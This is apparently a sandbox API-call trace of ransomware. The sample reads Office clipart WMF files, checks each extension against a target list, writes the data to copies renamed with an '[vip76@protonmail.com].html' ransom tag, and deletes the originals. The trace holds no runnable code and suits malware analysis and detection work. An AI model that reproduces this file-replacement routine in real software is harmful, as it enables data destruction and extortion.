	[0071.116] lstrlenW (lpString=".1cd") returned 4
	[0071.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0071.116] lstrlenW (lpString=".jpg") returned 4
	[0071.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.116] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.116] lstrlenW (lpString="AN00932_.WMF") returned 12
	[0071.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.116] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=14428) returned 1
	[0071.116] CloseHandle (hObject=0x328) returned 1
	[0071.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220
	[0071.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.117] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.117] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0071.117] GetLastError () returned 0x0
	[0071.117] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x385c, lpOverlapped=0x0) returned 1
	[0071.119] WriteFile (in: hFile=0x38c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x3860, lpOverlapped=0x0) returned 1
	[0071.120] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.120] WriteFile (in: hFile=0x38c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.120] SetEndOfFile (hFile=0x38c) returned 1
	[0071.120] CloseHandle (hObject=0x38c) returned 1
	[0071.121] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.122] SetEndOfFile (hFile=0x328) returned 1
	[0071.122] CloseHandle (hObject=0x328) returned 1
	[0071.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1
	[0071.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0071.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0071.123] lstrlenW (lpString=".doc") returned 4
	[0071.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.123] lstrlenW (lpString=".docx") returned 5
	[0071.123] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.123] lstrlenW (lpString=".pdf") returned 4
	[0071.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.123] lstrlenW (lpString=".xls") returned 4
	[0071.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.123] lstrlenW (lpString=".xlsx") returned 5
	[0071.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.123] lstrlenW (lpString=".ppt") returned 4
	[0071.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0071.124] lstrlenW (lpString=".zip") returned 4
	[0071.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.124] lstrlenW (lpString=".rar") returned 4
	[0071.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.124] lstrlenW (lpString=".bz2") returned 4
	[0071.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.124] lstrlenW (lpString=".7z") returned 3
	[0071.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0071.124] lstrlenW (lpString=".dbf") returned 4
	[0071.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0071.124] lstrlenW (lpString=".1cd") returned 4
	[0071.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0071.124] lstrlenW (lpString=".jpg") returned 4
	[0071.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0071.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0071.124] lstrlenW (lpString=".doc") returned 4
	[0071.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.124] lstrlenW (lpString=".docx") returned 5
	[0071.124] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.124] lstrlenW (lpString=".pdf") returned 4
	[0071.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.124] lstrlenW (lpString=".xls") returned 4
	[0071.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.124] lstrlenW (lpString=".xlsx") returned 5
	[0071.124] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.124] lstrlenW (lpString=".ppt") returned 4
	[0071.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0071.125] lstrlenW (lpString=".zip") returned 4
	[0071.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.125] lstrlenW (lpString=".rar") returned 4
	[0071.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.125] lstrlenW (lpString=".bz2") returned 4
	[0071.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.125] lstrlenW (lpString=".7z") returned 3
	[0071.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0071.125] lstrlenW (lpString=".dbf") returned 4
	[0071.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0071.125] lstrlenW (lpString=".1cd") returned 4
	[0071.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0071.125] lstrlenW (lpString=".jpg") returned 4
	[0071.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.125] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.125] lstrlenW (lpString="AN00965_.WMF") returned 12
	[0071.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.125] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=7072) returned 1
	[0071.126] CloseHandle (hObject=0x328) returned 1
	[0071.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220
	[0071.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.126] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.126] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0071.126] GetLastError () returned 0x0
	[0071.126] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1ba0, lpOverlapped=0x0) returned 1
	[0071.128] WriteFile (in: hFile=0x38c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x1bb0, lpOverlapped=0x0) returned 1
	[0071.129] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.129] WriteFile (in: hFile=0x38c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.129] SetEndOfFile (hFile=0x38c) returned 1
	[0071.129] CloseHandle (hObject=0x38c) returned 1
	[0071.130] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.130] SetEndOfFile (hFile=0x328) returned 1
	[0071.131] CloseHandle (hObject=0x328) returned 1
	[0071.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1
	[0071.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0071.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0071.132] lstrlenW (lpString=".doc") returned 4
	[0071.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.132] lstrlenW (lpString=".docx") returned 5
	[0071.132] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.132] lstrlenW (lpString=".pdf") returned 4
	[0071.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.132] lstrlenW (lpString=".xls") returned 4
	[0071.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.132] lstrlenW (lpString=".xlsx") returned 5
	[0071.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.132] lstrlenW (lpString=".ppt") returned 4
	[0071.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0071.132] lstrlenW (lpString=".zip") returned 4
	[0071.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.132] lstrlenW (lpString=".rar") returned 4
	[0071.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.132] lstrlenW (lpString=".bz2") returned 4
	[0071.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.132] lstrlenW (lpString=".7z") returned 3
	[0071.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0071.133] lstrlenW (lpString=".dbf") returned 4
	[0071.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0071.133] lstrlenW (lpString=".1cd") returned 4
	[0071.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0071.133] lstrlenW (lpString=".jpg") returned 4
	[0071.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0071.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0071.133] lstrlenW (lpString=".doc") returned 4
	[0071.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.133] lstrlenW (lpString=".docx") returned 5
	[0071.133] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.133] lstrlenW (lpString=".pdf") returned 4
	[0071.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.133] lstrlenW (lpString=".xls") returned 4
	[0071.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.133] lstrlenW (lpString=".xlsx") returned 5
	[0071.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.133] lstrlenW (lpString=".ppt") returned 4
	[0071.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0071.133] lstrlenW (lpString=".zip") returned 4
	[0071.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.134] lstrlenW (lpString=".rar") returned 4
	[0071.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.134] lstrlenW (lpString=".bz2") returned 4
	[0071.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.134] lstrlenW (lpString=".7z") returned 3
	[0071.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0071.134] lstrlenW (lpString=".dbf") returned 4
	[0071.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0071.134] lstrlenW (lpString=".1cd") returned 4
	[0071.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0071.134] lstrlenW (lpString=".jpg") returned 4
	[0071.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.134] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.134] lstrlenW (lpString="AN01039_.WMF") returned 12
	[0071.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.135] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3344) returned 1
	[0071.135] CloseHandle (hObject=0x328) returned 1
	[0071.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220
	[0071.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.135] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.135] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0071.136] GetLastError () returned 0x0
	[0071.136] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xd10, lpOverlapped=0x0) returned 1
	[0071.138] WriteFile (in: hFile=0x38c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xd20, lpOverlapped=0x0) returned 1
	[0071.139] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.139] WriteFile (in: hFile=0x38c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.139] SetEndOfFile (hFile=0x38c) returned 1
	[0071.139] CloseHandle (hObject=0x38c) returned 1
	[0071.140] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.140] SetEndOfFile (hFile=0x328) returned 1
	[0071.141] CloseHandle (hObject=0x328) returned 1
	[0071.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1
	[0071.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0071.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0071.142] lstrlenW (lpString=".doc") returned 4
	[0071.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.142] lstrlenW (lpString=".docx") returned 5
	[0071.142] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.142] lstrlenW (lpString=".pdf") returned 4
	[0071.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.142] lstrlenW (lpString=".xls") returned 4
	[0071.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.142] lstrlenW (lpString=".xlsx") returned 5
	[0071.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.142] lstrlenW (lpString=".ppt") returned 4
	[0071.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0071.142] lstrlenW (lpString=".zip") returned 4
	[0071.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.142] lstrlenW (lpString=".rar") returned 4
	[0071.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.142] lstrlenW (lpString=".bz2") returned 4
	[0071.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.142] lstrlenW (lpString=".7z") returned 3
	[0071.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0071.142] lstrlenW (lpString=".dbf") returned 4
	[0071.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0071.143] lstrlenW (lpString=".1cd") returned 4
	[0071.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0071.143] lstrlenW (lpString=".jpg") returned 4
	[0071.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0071.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0071.143] lstrlenW (lpString=".doc") returned 4
	[0071.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.143] lstrlenW (lpString=".docx") returned 5
	[0071.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.143] lstrlenW (lpString=".pdf") returned 4
	[0071.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.143] lstrlenW (lpString=".xls") returned 4
	[0071.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.143] lstrlenW (lpString=".xlsx") returned 5
	[0071.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.143] lstrlenW (lpString=".ppt") returned 4
	[0071.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0071.143] lstrlenW (lpString=".zip") returned 4
	[0071.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.143] lstrlenW (lpString=".rar") returned 4
	[0071.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.144] lstrlenW (lpString=".bz2") returned 4
	[0071.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.144] lstrlenW (lpString=".7z") returned 3
	[0071.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0071.144] lstrlenW (lpString=".dbf") returned 4
	[0071.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0071.651] lstrlenW (lpString=".1cd") returned 4
	[0071.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
